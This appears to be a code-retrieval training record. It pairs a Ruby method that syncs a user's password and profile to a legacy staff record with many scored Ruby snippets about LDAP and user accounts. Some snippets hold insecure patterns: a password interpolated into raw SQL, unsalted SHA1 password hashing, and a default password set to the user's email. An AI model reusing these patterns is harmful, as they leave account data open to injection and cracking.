unless self.is_ldap?\n\n scanner = LdapQuery::Scanner.search self.login, :only=>:ldap\n\n if scanner.errors.size > 0\n errors.add(:login, 'Login is invalid or cannot be found in OHSU\\'s servers')\n return\n end\n\n # Update our information from ldap\n self.assign_attributes scanner.as_user_attributes\n\n end", "def populateLDAP\n return unless Rails.env.production?\n #quit if no email or netid to work with\n self.email ||= ''\n return if !self.email.include?('@yale.edu') && !self.netid\n\n begin\n ldap = Net::LDAP.new( :host =>\"directory.yale.edu\" , :port =>\"389\" )\n\n #set e filter, use netid, then email\n if !self.netid.blank? #netid\n f = Net::LDAP::Filter.eq('uid', self.netid)\n else\n f = Net::LDAP::Filter.eq('mail', self.email)\n end\n\n b = 'ou=People,o=yale.edu'\n p = ldap.search(:base => b, :filter => f, :return_result => true).first\n\n rescue Exception => e\n guessFromEmail\n end\n\n return unless p\n\n self.netid = ( p['uid'] ? p['uid'][0] : '' )\n self.fname = ( p['knownAs'] ? p['knownAs'][0] : '' )\n self.fname ||= ( p['givenname'] ? p['givenname'][0] : '' )\n self.lname = ( p['sn'] ? p['sn'][0] : '' )\n self.email = ( p['mail'] ? p['mail'][0] : '' )\n self.year = ( p['class'] ? p['class'][0].to_i : 0 )\n self.college = ( p['college'] ? p['college'][0] : '' )\n\n # Don't save the model, because they are going to be shown a form to edit info\n # self.save!\n end", "def ldappassword\n\n$HOST = ''\n$PORT = LDAP::LDAP_PORT\n$SSLPORT = LDAP::LDAPS_PORT\nbase = 'dc=, dc='\nldapadmin = 'cn=, dc=, dc='\nldapadminpass = ''\nscope = LDAP::LDAP_SCOPE_SUBTREE\nattrs = ['sn', 'cn']\n\n#hash the password for ldap change\ne_password = \"{SHA}\" + Base64.encode64(Digest::SHA1.digest(@newpasswd)).chomp\n\nconn = LDAP::Conn.new($HOST, $PORT)\nreset = [\n LDAP.mod(LDAP::LDAP_MOD_REPLACE, \"userPassword\", [e_password]),\n]\n\n conn.bind(ldapadmin,ldapadminpass)\n begin\n conn.search(base, scope, \"uid=#{@authex.username}\", attrs) { |entry|\n $USERDN = entry.dn\n }\n rescue LDAP::ResultError\n conn.perror(\"search\")\n exit\n end\n\n begin\n conn.modify(\"#{$USERDN}\", reset)\n puts $USERDN\n rescue LDAP::ResultError => msg\n puts \"Can't change password: \" + msg\n exit 0\n rescue LDAP::Error => errcode\n puts \"Can't change password: \" + LDAP.err2string(errcode)\n exit 0\n end\n\n\n\nend", "def ldap_secure\n @attributes[:ldap_secure]\n end", "def try_update_ldap\n auths = self.authentications.where(provider: 'shibboleth')\n return false if auths.length > 0\n\n auths = self.authentications.where(provider: 'ldap')\n if auths.length > 0\n uid = auths.first.uid\n else\n uid = self.login_id\n end\n begin\n Ldap_User::LDAP.replace_attribute(uid, 'mail', [self.email])\n rescue LdapMixin::LdapException => ex\n return false\n end\n return true\n end", "def generate_attributes_from_ldap_info\n self.username = self.uid\n self.email = self.mail\n end", "def wldap32\n client.railgun.wldap32\n end", "def populateLDAP\n \n #quit if no email or netid to work with\n return if !self.netid\n \n ldap = Net::LDAP.new(host: 'directory.yale.edu', port: 389)\n b = 'ou=People,o=yale.edu'\n f = Net::LDAP::Filter.eq('uid', self.netid)\n a = %w(givenname sn mail knownAs class college)\n\n p = ldap.search(base: b, filter: f, attributes: a).first\n \n\n\n self.fname = ( p['knownAs'] ? p['knownAs'][0] : '' )\n if self.fname.blank?\n self.fname = ( p['givenname'] ? p['givenname'][0] : '' )\n end\n self.lname = ( p['sn'] ? p['sn'][0] : '' )\n self.email = ( p['mail'] ? p['mail'][0] : '' )\n self.year = ( p['class'] ? p['class'][0].to_i : 0 )\n self.college = ( p['college'] ? p['college'][0] : '' )\n self.save!\n end", "def extend_fields\n if username.blank?\n # Synthesize a unique username from the email address or fullname\n n = 0\n startname = handle if (startname = email.sub(/@.*/, '')).blank?\n self.username = startname\n until (User.where(username: username).empty?) do\n n += 1\n self.username = startname+n.to_s\n end\n end\n # Provide a random password if none exists already\n self.password = email if password.blank? # (0...8).map { (65 + rand(26)).chr }.join\n self.fullname = \"#{first_name} #{last_name}\" if fullname.blank? && !(first_name.blank? || last_name.blank?)\n end", "def fill_from_ldap\n person = self.ldap_person\n if person.nil?\n if Rails.development?\n self.name = \"Susan #{self.login}\"\n self.email = \"beehive+#{self.login}@berkeley.edu\"\n self.major_code = 'undeclared'\n self.user_type = case self.login\n when 212388, 232588\n User::Types::Grad\n when 212381, 300846, 300847, 300848, 300849, 300850\n User::Types::Undergrad\n when 212386, 322587, 322588, 322589, 322590\n User::Types::Faculty\n when 212387, 322583, 322584, 322585, 322586\n User::Types::Staff\n else\n User::Types::Affiliate\n end\n return true\n else\n self.name = 'Unknown Name'\n self.email = ''\n self.major_code = ''\n self.user_type = User::Types::Affiliate\n return false\n end\n else\n self.name = \"#{person.firstname} #{person.lastname}\".titleize\n self.email = person.email\n self.major_code = person.berkeleyEduStuMajorName.to_s.downcase\n self.user_type = case\n when person.berkeleyEduStuUGCode == 'G'\n User::Types::Grad\n when person.student?\n User::Types::Undergrad\n when person.employee_academic?\n User::Types::Faculty\n when person.employee?\n User::Types::Staff\n else\n User::Types::Affiliate\n end\n return true\n end\n end", "def copy_migrations\n # Can't get this any more DRY, because we need this order.\n %w{acts_as_follower_migration.rb\tadd_social_to_users.rb\t\tcreate_single_use_links.rb\tadd_ldap_attrs_to_user.rb\nadd_avatars_to_users.rb\t\tcreate_checksum_audit_logs.rb\tcreate_version_committers.rb\nadd_groups_to_users.rb\t\tcreate_local_authorities.rb\tcreate_trophies.rb}.each do |f|\n better_migration_template f\n end\n end", "def migrate\n ActiveRecord::Schema.define do\n self.verbose = true # or false\n\n enable_extension \"plpgsql\"\n #enable_extension \"pgcrypto\"\n\n create_table(:access_lines, force: true) do |t|\n t.string :line, null: false\n t.datetime :timestamp, null: false\n t.string :username, null: false\n t.string :peer_id, null: false\n end\n\n # A backup for the uniqueness validation in AccessLine\n add_index :access_lines, [:timestamp, :username], unique: true\n end\n end", "def add_unix_attributes(domain,entry,ua)\n ldap = ldap_connect(domain,ADMINUSER,ADMINPASS)\n print \"Adding attributes...\"\n ua.each do |at, va|\n ldap.add_attribute entry[:dn][0], at, va\n end\n increment_maxuid(ldap,domain)\n puts \"\"\n print \"Done!\\n\"\n end", "def to_h\r\n {\r\n enable_db_auth: enable_db_auth?,\r\n enable_ldap_auth: enable_ldap_auth?,\r\n ldap_host: ldap_host.to_s,\r\n ldap_port: ldap_port.to_s.to_i,\r\n ldap_ssl: ldap_ssl?,\r\n ldap_base_dn: ldap_base_dn.to_s,\r\n ldap_browse_user: ldap_browse_user.to_s,\r\n ldap_browse_password: ldap_browse_password.to_s,\r\n ldap_auto_activate: ldap_auto_activate?,\r\n ldap_system_admin_groups: ldap_system_admin_groups.to_s,\r\n }\r\n end", "def ldap_ssl_option\n super\n end", "def ldap_distinguished_name(user)\n distinguished_name = \"cn=#{user.human_name},\"\n\n if user.is_staff\n if !user.masters_program.blank? && organization_units.include?(user.masters_program)\n distinguished_name += \"ou=\" + user.masters_program + \",ou=Staff,\"\n else\n distinguished_name += \"ou=Staff,\"\n end\n elsif user.is_student\n if !user.masters_program.blank? && organization_units.include?(user.masters_program)\n distinguished_name += \"ou=\" + user.masters_program + \",ou=Student,\"\n else\n distinguished_name += \"ou=Student,\"\n end\n end\n\n distinguished_name +=\"ou=Sync,\"+base_distinguished_name\n return distinguished_name\n end", "def get_ldap_id\n\t\tself.id = Devise::LDAP::Adapter.get_ldap_param(self.username,\"uidnumber\").first\n end", "def update_applicationAuthorization(dbName)\n appAuth2Id = {}\n @conn[dbName][APPAUTH_COLLECTION].find({}).each do |appAuth|\n id = appAuth[\"_id\"]\n appAuth2Id[id] = appAuth[\"body\"]\n end\n appAuth2Id.each do |id, appAuth_body|\n puts id if DEBUG == true\n edorgs = appAuth_body[\"edorgs\"]\n if appAuth_body.has_key?(\"edorgs\") and notMigrated(edorgs)\n edorgs_new = []\n edorgs.each do |edorg|\n edorg_entry = {}\n edorg_entry[\"authorizedEdorg\"] = edorg\n edorgs_new.push(edorg_entry)\n end\n appAuth_body[\"edorgs\"] = edorgs_new\n @conn[dbName][APPAUTH_COLLECTION].update({\"_id\"=>id}, {\"body\"=>appAuth_body})\n end\n end\nend", "def enable_ldap_auth?\r\n enable_ldap_auth.to_s.to_i != 0\r\n end", "def ldap_base_dn\n @attributes[:ldap_base_dn]\n end", "def off_org_users\n \n end", "def ldap\n @attributes[:ldap]\n end", "def directoryadminify\n without_access_control do\n User.module_eval do\n def role_symbols\n @role_symbols = [ :directoryadmin ]\n end\n end\n\n request.session[:auth_via] = 'cas'\n request.session[:user_id] = users(:one)\n end\n end", "def ldap?\n !!ldap\n end", "def ldap_server=(should) end", "def create_default_authentication_ldap_configuration(opts)\n opts = check_params(opts,[:search_base_dn,:servers])\n super(opts)\n end", "def ldap_before_save\n self.email = Devise::LDAP::Adapter.get_ldap_param(username, 'mail').first\n end", "def ldap_convert(attributes)\n attributes.reject { |param, value| value == :absent or param == :ensure }.inject({}) do |result, ary|\n value = (ary[1].is_a?(Array) ? ary[1] : [ary[1]]).collect { |v| v.to_s }\n result[ldap_name(ary[0])] = value\n result\n end\n end", "def orm_patches_applied; end", "def query_enable_dblink\n <<-SQL.strip\n -- Load extension\n CREATE EXTENSION IF NOT EXISTS dblink SCHEMA public;\n SQL\n end", "def compute_new_base\n ActiveLdap::DN.parse([base_prefix,self.class.base.to_s].compact.join(','))\n end", "def corp_lookup\n\n basedn = \"cn=users,dc=bigdatalab,dc=ibm,dc=com\"\n scope = Net::LDAP::SearchScope_WholeSubtree\n filter = \"(&(objectClass=person)(!(objectClass=computer))(!(userAccountControl:1.2.840.113556.1.4.803:=2)))\"\n attrs = ['sAMAccountName','mail','pwdLastSet']\n skip_accounts = ['CORP$']\n\n ldap = Net::LDAP.new\n ldap.host = \"dc-0.bigdatalab.ibm.com\"\n ldap.port = \"389\"\n ldap.auth ENV['BIND_USER'], ENV['BIND_PASS']\n\n if !ldap.bind\n puts \"Problem with AD connection. Aborting!\"\n end\n \n ldap.search(:base => basedn, :scope => scope, :filter => filter, :attributes => attrs, :return_result => true) do |entry|\n if skip_accounts.include? entry.sAMAccountName.first.to_s\n next\n end\n\n begin\n acct = { \n :id => entry.sAMAccountName.first.to_s, \n :mail => entry.mail.first.to_s,\n :pwdays => 0,\n :notify => false,\n }\n rescue\n puts \"Caught exception: #{entry.inspect}\"\n end\n\n # Calculate the epoch time from windows time and get a number of days till expiration\n unix_time = (entry.pwdLastSet.first.to_i)/10000000-11644473600\n numDays = (unix_time + $maxPwAge - Time.now.to_i)/86400\n\n if numDays < 0\n acct[:pwdays] = numDays\n $accounts.push acct\n end\n\n end\nend", "def lacticate_users(user1,user2)\n # PostgresUser.lacticate_users(user1,user2)\n lacticate_pg_users(user1,user2)\n end", "def base\n [location, Puppet[:ldapbase]].join(\",\")\n end", "def setup_db\n ActiveRecord::Schema.define(:version => 1) do\n create_table :users do |t|\n t.string :email, :limit => 255\n t.string :crypted_password, :limit => 255\n \n t.timestamps\n end\n end\n \n ActiveRecord::Schema.define(:version => 1) do\n create_table :labels do |t|\n t.string :type, :limit => 255\n t.string :system_label, :limit => 255\n t.string :label, :limit => 255\n \n t.timestamps\n end\n end\nend", "def migrate(_key, _options); end", "def flatten_affiliation(affiliation)\n if affiliation.include? \"staff\" and not (affiliation.include? \":\")\n return \"staff-academic\"\n end\n\n case affiliation\n when \"faculty:senate\"\n return \"faculty\"\n when \"faculty:federation\"\n return \"lecturer\"\n when \"staff:career\"\n return \"staff\"\n when \"staff:casual\"\n return \"staff\"\n when \"staff:contract\"\n return \"staff\"\n when \"staff:student\"\n return \"staff-student\"\n when \"student:graduate\"\n return \"student-graduate\"\n when \"visitor:student:graduate\"\n return \"student-graduate\"\n when \"faculty\"\n return \"faculty\"\n when \"student:undergraduate\", \"student:law\", \"visitor:consultant\", \"student:medicine\",\n \"visitor:student:concurrent\", \"visitor:lecturer\", \"visitor:faculty:research\", \"visitor:staff:temporary\",\n \"visitor:postdoc:research\", \"visitor:faculty:teaching\", \"visitor:student\", \"student:vetmed\", \"student\",\n \"visitor\"\n return nil\n else\n Rails.logger.warn \"AD Sync: Missing affiliation for translation to container name: #{affiliation}\"\n ActivityLog.err!(\"Could not translate unknown affiliation to AD group equivalent: #{affiliation}\", ['active_directory'])\n end\n\n return false\nend", "def career_migration_data\n<<RUBY\nt.string :title\n t.string :position\n t.string :location\n t.text :description\n t.text :questions\n t.boolean :status,default: true\n\nRUBY\n end", "def copy_migrations\n [\n \"acts_as_follower_migration.rb\",\n \"add_social_to_users.rb\",\n \"add_ldap_attrs_to_user.rb\",\n \"add_avatars_to_users.rb\",\n \"add_groups_to_users.rb\",\n \"create_local_authorities.rb\",\n \"create_trophies.rb\",\n 'add_linkedin_to_users.rb',\n 'create_tinymce_assets.rb',\n 'create_content_blocks.rb',\n 'create_featured_works.rb',\n 'add_external_key_to_content_blocks.rb'\n ].each do |file|\n better_migration_template file\n end\n end", "def migration\n end", "def ldap_attribute_map\n {\n 'cn' => 'name',\n 'sAMAccountName' => 'name',\n 'gidNumber' => 'gid_number',\n 'description' => 'description',\n 'member' => Proc.new{|grp| (grp[\"member_uids\"].map { |uid| \n unless LdapUser.find(\"uid=#{uid}\").blank?\n HaridsyncHelpers.ensure_uppercase_dn_component(LdapUser.find(\"uid=#{uid}\").dn.to_s)\n end\n }).compact.sort},\n 'objectCategory' => Proc.new{self.object_category},\n 'groupType' => Proc.new{self.group_type},\n }\n end", "def activedirectory_users(opts, accountname_expr = 'jturner')\n\n ldap = Net::LDAP.new :host => opts[:ldaphost],\n\t:port => opts[:ldapport],\n\t:auth => {\n\t:method => :simple,\n\t:username => opts[:binddn],\n\t:password => opts[:bindpassword]\n \n }\n\n filter = Net::LDAP::Filter.construct(\"(&(objectCategory=Person)(sAMAccountName=#{accountname_expr}))\")\n\n ldap.search(\n\t:base => opts[:basedn],\n\t:filter => filter,\n\t:attributes => [:samaccountname, :displayname, :mail, :telephonenumber, :description, :department, :company, :physicaldeliveryofficename, :streetaddress, :l, :st, :postalcode, :co, :thumbnailPhoto]\n ) \nend", "def after_find\n\t\t#require 'base64'\n\t\t#self.domains = Marshal.load(Base64.decode64(self.domains))\n\t\tself.domains = User.str2domain(self.domains)\n\tend", "def migration_railties; end", "def migration_railties; end", "def preprocess_username\n @username = @options[:ldap][:username_prefix] + @username if @options[:ldap][:username_prefix]\n end", "def build_rootdn \n [node['ca_openldap']['rootdn'], node['ca_openldap']['basedn']].join(',')\n end", "def init_orm_hooks!\n sorcery_adapter.define_callback :before, :validation, :encrypt_password, if: proc { |record|\n record.send(sorcery_config.password_attribute_name).present?\n }\n\n sorcery_adapter.define_callback :after, :save, :clear_virtual_password, if: proc { |record|\n record.send(sorcery_config.password_attribute_name).present?\n }\n\n attr_accessor sorcery_config.password_attribute_name\n end", "def update_password(db, domain_name, new_pw)\n db.execute(\"UPDATE organizer SET password='#{new_pw}'' WHERE domain_name='#{domain_name}'\")\nend", "def normalize_realm\n if self.realm.present?\n self.realm = self.realm.to_s.underscore.strip\n end\n end", "def admins\n group_users(admins_join_table)\n end", "def run\n super\n\n if _get_entity_type_string == \"WebAccount\"\n account_name = _get_entity_detail(\"username\")\n else\n account_name = \"#{_get_entity_name}\".sanitize_unicode\n end\n\n # try a couple variations\n if _get_entity_type_string == \"Domain\" && account_name =~ /\\./\n check_and_create account_name.split(\".\").first\n check_and_create account_name.gsub(\".\",\"\")\n check_and_create \"#{account_name.split(\".\")[0...-1].join(\"\")}\"\n else\n check_and_create account_name\n end\n\n end", "def update_ldap_info(ldap_info)\n ldap_info.each do |key, value|\n if self.respond_to?(:\"#{key}=\")\n self.send :\"#{key}=\", value\n end\n end\n generate_attributes_from_ldap_info\n end", "def dn_ous\n unless @dn_ous\n @dn_ous = []\n @ldap_object.dn.split(/,/).each do |entry|\n @dn_ous.push entry.gsub(/OU=/, '').gsub(/CN=/,'') if entry =~ /OU=/ or entry == 'CN=Users'\n end\n end\n @dn_ous\n end", "def ldap\n conf['dashboard']['ldap']\n end", "def corp_lookup\n\n basedn = \"cn=users,dc=bigdatalab,dc=ibm,dc=com\"\n scope = Net::LDAP::SearchScope_WholeSubtree\n filter = \"(&(objectClass=person)(!(objectClass=computer))(!(userAccountControl:1.2.840.113556.1.4.803:=2)))\"\n attrs = ['sAMAccountName','mail','pwdLastSet']\n\n ldap = Net::LDAP.new\n ldap.host = \"dc-0.bigdatalab.ibm.com\"\n ldap.port = \"389\"\n ldap.auth ENV['BIND_USER'], ENV['BIND_PASS']\n\n if !ldap.bind\n puts \"Problem with AD connection. Aborting!\"\n end\n \n ldap.search(:base => basedn, :scope => scope, :filter => filter, :attributes => attrs, :return_result => true) do |entry|\n\n acct = { \n :id => entry.sAMAccountName.first.to_s, \n :pwdays => 0,\n :notify => false,\n }\n\n if entry.respond_to? :mail\n acct[:mail] = entry.mail.first.to_s\n else\n acct[:mail] = \"[email protected]\"\n end\n\n # Calculate the epoch time from windows time and get a number of days till expiration\n unix_time = (entry.pwdLastSet.first.to_i)/10000000-11644473600\n numDays = (unix_time + $maxPwAge - Time.now.to_i)/86400\n\n if numDays < 0\n next # These passwords have already expired.\n end\n\n # Send a notice 14, 7, 3, 2 and 1 days before expiration\n if [14, 7, 3, 2, 1].include? numDays\n acct[:notify] = true\n acct[:pwDays] = numDays\n end\n\n $accounts.push acct\n end\nend", "def set_ldap_version(opts)\n opts = check_params(opts,[:versions])\n super(opts)\n end", "def builtin!\n self.add(:local, Opscode::Authentication::Strategies::Local)\n self.add(:ldap, Opscode::Authentication::Strategies::LDAP)\n self\n end", "def migrate_additional(configs_to_aws)\n end", "def groups_base\n get_groups_base\n# get_attribute_from_auth_source('groups_base')\n end", "def host_lead_dxusers\n User.site_admins.or(User.challenge_admins).order(:dxuser).distinct.pluck(:dxuser)\n end", "def bind_distinguished_name\n super\n end", "def sql_user_opts(db_conf)\n user_opt = \"--user=#{db_conf['username']}\"\n password_opt = \"--password='#{db_conf['password']}'\"\n \"#{user_opt} #{password_opt if db_conf['password'].present?}\".strip\nend", "def extend_sql_avoiding_table_naming_clashes!(sql, addition)\r\n used_table_aliases = table_aliases_from_join_fragment(addition)\r\n old_table_aliases = table_aliases_from_join_fragment(sql)\r\n (used_table_aliases & old_table_aliases).each do |join_table_alias|\r\n i = 0\r\n begin\r\n i += 1\r\n new_alias = \"renamed_join_table_#{i}\"\r\n end until !used_table_aliases.include?(new_alias)\r\n convert_table_name_to_new_alias!(sql, join_table_alias, new_alias)\r\n end\r\n sql << \" #{addition} \"\r\n end", "def handle_base\n first_name + ' ' + last_name\n end", "def clean_up_passwords; end", "def before_import_save(record)\n puts \"I am calling the hook\"\n self.allow_blank_password = true\n end", "def normalize_fields\n self.email.downcase!\n end", "def raw_attributes\n @ldap_entry.attribute_names.each_with_object({}) do |key, hsh|\n hsh[key] = @ldap_entry[key]\n end\n end", "def ldap_register\n x = save(:context => :ldap)\n p self.errors unless x\n x\n end", "def ldap_sincroniza_usuarios(prob)\n usuarios = []\n deshab = []\n opcon = {\n host: Rails.application.config.x.jn316_servidor,\n port: Rails.application.config.x.jn316_puerto,\n auth: {\n method: :simple, \n username: Rails.application.config.x.jn316_admin,\n password: ENV['JN316_CLAVE']\n }\n }.merge(Rails.application.config.x.jn316_opcon)\n filter = Net::LDAP::Filter.eq( \"objectClass\", 'posixAccount')\n ldap_conadmin = Net::LDAP.new( opcon )\n lusuarios = ldap_conadmin.search(\n base: Rails.application.config.x.jn316_basegente, \n filter: filter \n )\n if lusuarios.nil?\n prob << ldap_conadmin.get_operation_result.code.to_s +\n ' - ' + ldap_conadmin.get_operation_result.message \n return nil\n end\n lusuarios.each do |entry|\n #byebug\n u = crear_actualizar_usuario(entry.cn[0], entry, nil, prob)\n if (u.nil?)\n return [usuarios, []]\n end\n usuarios << u.id\n end\n puts \"Actualizados \" + usuarios.length.to_s + \" registros de usuarios\"\n # Si se eliminaron registros del LDAP (que no se recomienda) \n # deshabilitar en base\n ::Usuario.habilitados.where('ultimasincldap IS NOT NULL').each do |u|\n unless usuarios.include?(u.id)\n u.fechadeshabilitacion = Date.today\n u.ultimasincldap = nil\n u.save\n deshab << u.id\n end\n end\n puts \"Deshabilitados \" + deshab.length.to_s + \n \" registros de usuarios que estuvieron en LDAP pero ya no\"\n \n return [usuarios, deshab]\n rescue Exception => exception\n prob << 'Problema conectando a servidor LDAP ' +\n '(ldap_sincroniza_usuarios). Excepción: ' + exception.to_s\n puts prob\n return [usuarios, deshab]\n end", "def normalize_fields\n\t\tself.email.downcase!\n\tend", "def canonical_tld?; end", "def clean_utf\n attribute_names.each do |field|\n next unless self[field]\n next unless self[field].is_a? String\n next if field=='password_digest'\n self[field] = self[field].encode(\"UTF-8\",:invalid=>:replace,:undef=>:replace,:replace=>\"\")\n end\n end", "def update_devise_user\n inject_into_file 'app/models/user.rb', after: \":validatable\" do <<-'RUBY'\n, :omniauthable\n validates_presence_of :email\n has_many :authorizations\n\n def self.new_with_session(params,session)\n if session[\"devise.user_attributes\"]\n new(session[\"devise.user_attributes\"],without_protection: true) do |user|\n user.attributes = params\n user.valid?\n end\n else\n super\n end\n end\n\n def self.from_omniauth(auth, current_user)\n authorization = Authorization.where(:provider => auth.provider, :uid => auth.uid.to_s, :token => auth.credentials.token, :secret => auth.credentials.secret).first_or_initialize\n if authorization.user.blank?\n user = current_user.nil? ? User.where('email = ?', auth[\"info\"][\"email\"]).first : current_user\n if user.blank?\n user = User.new\n user.password = Devise.friendly_token[0,10]\n user.name = auth.info.name\n user.email = auth.info.email\n auth.provider == \"twitter\" ? user.save(:validate => false) : user.save\n end\n authorization.username = auth.info.nickname\n authorization.user_id = user.id\n authorization.save\n end\n authorization.user\n end\n RUBY\n end\n end", "def ldap_username_field\n @attributes[:ldap_username_field]\n end", "def realm_name; end", "def change_password(ldap)\n puts \"enter first name\"\n firstname=gets.chomp\n puts \"enter new password\"\n password=gets.chomp\n \n dn = \"cn=#{firstname},ou=people,dc=example,dc=com\"\n ldap.replace_attribute dn, :userPassword, password\n puts \"****** change password result ******\"\n puts ldap.get_operation_result\n end", "def admins_join_table\n self.class.admins_join_table\n end", "def migrate(key, options); end", "def convert_key dbkey\n arr = dbkey.split('_')\n arr.each {|s|s[0]=s[0].upcase}\n newkey = arr.join('')\n newkey[0]=newkey[0].downcase\n newkey\n end", "def database_field_names\n [\"user_id\", \"assignment_id\"]\n end", "def initialize(ldap_config)\n @ldap = Net::LDAP.new host: ldap_config['host'], port: ldap_config['port']\n @attributes_to_import = %w(uid sn givenname mail title objectclass)\n @tree_base = ldap_config['treebase']\n\n # Used to log information\n @people_saved = 0\n @picture_uploaded = 0\n end", "def canonical_fields(table_def)\n table_def.fields.inject([]) do |fields, f|\n fields << SpreeMigrateDB::FieldDef.new(canonical_table_name(f.table), f.column, f.type, f.options)\n end\n end", "def raw\n Origen.ldap.display(self)\n nil\n end", "def migration_keys\n super + [:encoding]\n end", "def normalized_userinfo\n normalized_user + (password ? \":#{normalized_password}\" : \"\") if userinfo\n end", "def orm_patches_applied=(_arg0); end", "def object_category\n \"CN=Group,CN=Schema,CN=Configuration,#{ActiveLdap::Base.base}\"\n end", "def _migrate_lti_user\n return if _legacy_lti11_user_id.blank?\n\n user = User.find_by(lti_user_id: _legacy_lti11_user_id)\n if user\n user.lti_user_id = @lti_user_id\n end\n user\n end", "def affiliations\n @net_ldap_entry[:berkeleyeduaffiliations]\n end", "def copy_migrations\n # Can't get this any more DRY, because we need this order.\n better_migration_template \"create_searches.rb\"\n better_migration_template \"create_bookmarks.rb\"\n better_migration_template \"remove_editable_fields_from_bookmarks.rb\"\n better_migration_template \"add_user_types_to_bookmarks_searches.rb\"\n end", "def run\n super\n\n # TODO - check for dictionary terms?\n\n #johndoe\n create_entity Tapir::Entities::Username, {:name => \"#{@entity.first_name}.#{@entity.last_name}\"}\n \n # john.doe\n create_entity Tapir::Entities::Username, {:name => \"#{@entity.first_name}.#{@entity.last_name}\"}\n\n # john_doe \n create_entity Tapir::Entities::Username, {:name => \"#{@entity.first_name}_#{@entity.last_name}\"}\n \n # jdoe\n create_entity Tapir::Entities::Username, {:name => \"#{@entity.first_name.split(\"\").first}#{@entity.last_name}\"}\n\n # doe\n create_entity Tapir::Entities::Username, {:name => \"#{@entity.last_name}\"}\n \n if @entity.middle_name\n #johneffingdoe\n create_entity Tapir::Entities::Username, {:name => \"#{@entity.first_name}#{@entity.middle_name}#{@entity.last_name}\"}\n\n #jedoe\n create_entity Tapir::Entities::Username, {:name => \"#{@entity.first_name.split(\"\").first}#{@entity.middle_name.split(\"\").first}#{@entity.last_name}\"}\n end\n\n\nend", "def fix_up_user_after_screen_name_migration!(user)\n\n if user.screen_name.blank?\n user.screen_name = screen_name\n user.save!\n end\nend" ]
[ "0.629446", "0.57488567", "0.5740432", "0.57223815", "0.5412721", "0.5274693", "0.5197649", "0.51872", "0.5169361", "0.51398945", "0.509904", "0.5081612", "0.5068725", "0.50271285", "0.49696144", "0.49604744", "0.4959175", "0.49520913", "0.4938557", "0.4905174", "0.4898306", "0.48898375", "0.48893696", "0.4880011", "0.4840984", "0.4827473", "0.4823485", "0.48229885", "0.48114842", "0.48064554", "0.48016527", "0.4790537", "0.4786958", "0.47740453", "0.4769986", "0.47612557", "0.47583476", "0.47580653", "0.47406152", "0.4728585", "0.4724889", "0.47246704", "0.4722955", "0.4719652", "0.47179544", "0.47161263", "0.47136205", "0.47126904", "0.47071326", "0.46984914", "0.46984914", "0.4698127", "0.4697801", "0.4694313", "0.46851414", "0.46806133", "0.46797103", "0.46796936", "0.46754974", "0.4670059", "0.46642867", "0.46641856", "0.46573702", "0.4645927", "0.46265504", "0.46187463", "0.46175995", "0.46130148", "0.4611616", "0.4604518", "0.4599529", "0.45974073", "0.45958948", "0.45942974", "0.45901465", "0.45852727", "0.4581945", "0.4568731", "0.4565833", "0.45658064", "0.45608297", "0.45595387", "0.45590168", "0.4547456", "0.45466754", "0.454609", "0.45455286", "0.45357835", "0.45355377", "0.45352057", "0.45248237", "0.45236635", "0.4523128", "0.45102334", "0.45091635", "0.45091045", "0.45087832", "0.4508061", "0.45048162", "0.4501448" ]
0.50190663
14
syncs to legacy_profile (Legacy::Staff) DON'T PUT THIS IN A CALLBACK because of the sync script password needs to be passed in separately because the user will have already been updated
def sync_to_legacy_profile!(new_password = nil) p = self.legacy_profile # FIXME: don't bother adding missing legacy_profiles just yet if self.legacy_profile.blank? return true end if not self.email.blank? if not p.emails.blank? email = p.emails.first else email = Legacy::EmailInfo.new(pid: p.id) end email.addr = self.email email.stafflist = self.subscribed_to_staff ? 'y' : 'n' email.annclist = self.subscribed_to_announce ? 'y' : 'n' email.pri = 'Y' email.description = 'Default, synced from WREKtranet2' email.save! end pwd = new_password || self.password p.password = pwd unless pwd.blank? p.initials = username p.admin = admin ? "y" : "n" p.fname = first_name p.mname = middle_name p.lname = last_name p.status = status if self.roles.present? p.position = self.roles.map(&:full_name).join(', ') else p.position = '' end p.save! # exec is a reserved word, has to be done separately p.update_column :exec, exec_staff ? "y" : "n" end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def sync_with_facebook_profile(fb_user)\n fb_info = FacebookUserProfile.populate(fb_user)\n address_book.sync_with_facebook(fb_user, fb_info) && \n profile.sync_with_facebook(fb_user, fb_info)\n end", "def set_org_member_password\n @user = User.includes(:profile).find_by_email(params[:email])\n\n # Update users password and set signup_token to nil\n # Setting signup_token to nil invalidates sign up link\n # used by the user.\n @user.update(\n password: params[:password],\n password_confirmation: params[:password_confirmation],\n signup_token: nil\n )\n @user.profile.update(dashboard_registered: true)\n\n # Create zoho lead record\n if [email protected]? && @user.organization.name != 'test'\n ZohoService.save_to_zoho(@user.profile)\n end\n\n sign_in(@user, scope: :user)\n # Setting up alias to map user id to mixapanel unique id. So we can use userid moving forward\n mixpanel_distinct_id = params[:distinct_id]\n @tracker.alias(@user.id, mixpanel_distinct_id)\n @tracker.people.set(@user.id,{\n '$first_name' => @user.profile.first_name,\n '$last_name' => @user.profile.last_name,\n '$email' => @user.email,\n '$phone' => @user.profile.phone,\n },@user.current_sign_in_ip.to_s)\n @tracker.track(@user.id,'User account activated')\n\n flash[:notice] = 'Welcome to MyDomino!'\n\n # Mixpanel event - User set password\n render json: {\n message: 'User password updated',\n status: 200\n }, status: 200\n end", "def salesforce_sync\n sf_user = Contact.find(:first, :conditions => ['email = ?', self.email]) || Contact.new()\n sf_user.email = self.email\n sf_user.remote_id__c = self.id \n sf_user.remote_login__c = self.login\n sf_user.first_name = self.first_name || 'not specified'\n sf_user.last_name = self.last_name || 'not specified'\n sf_user.mailing_city = self.city\n sf_user.mailing_state = self.state.name\n sf_user.mailing_postal_code = self.zip\n sf_user.mailing_country = self.country.name\n sf_user.first_language__c = self.language\n sf_user.grade_level_experience__c = self.grade_level_experiences.collect{|c| c.name}\n sf_user.why_joined__c = self.why_joined\n sf_user.additional_skills__c = self.skills\n sf_user.other_languages__c = self.languages.collect{|c| c.english_name}\n sf_user.occupation__c = self.occupation\n sf_user.employer__c = self.organization\n \n # website :string(255) \n # blog :string(255) \n # about_me :text \n # aim_name :string(255) \n # location :string(255) \n # city :string(255) \n # state :integer(11) \n # zip :string(255) \n # country :integer(11) \n # phone :string(255) \n # phone2 :string(255) \n \n # interest_areas__c: nil,\n # giraffe_heroes__c: false, \n # my_tec_c__c: false, \n # twb_tools__c: false, \n # twb_canada__c: false, \n # newsletter__c: false,\n\n begin\n sf_user.save\n rescue Exception => err\n logger.error(\"Failed to sync with Salesforce: #{err.message}\")\n end\n end", "def 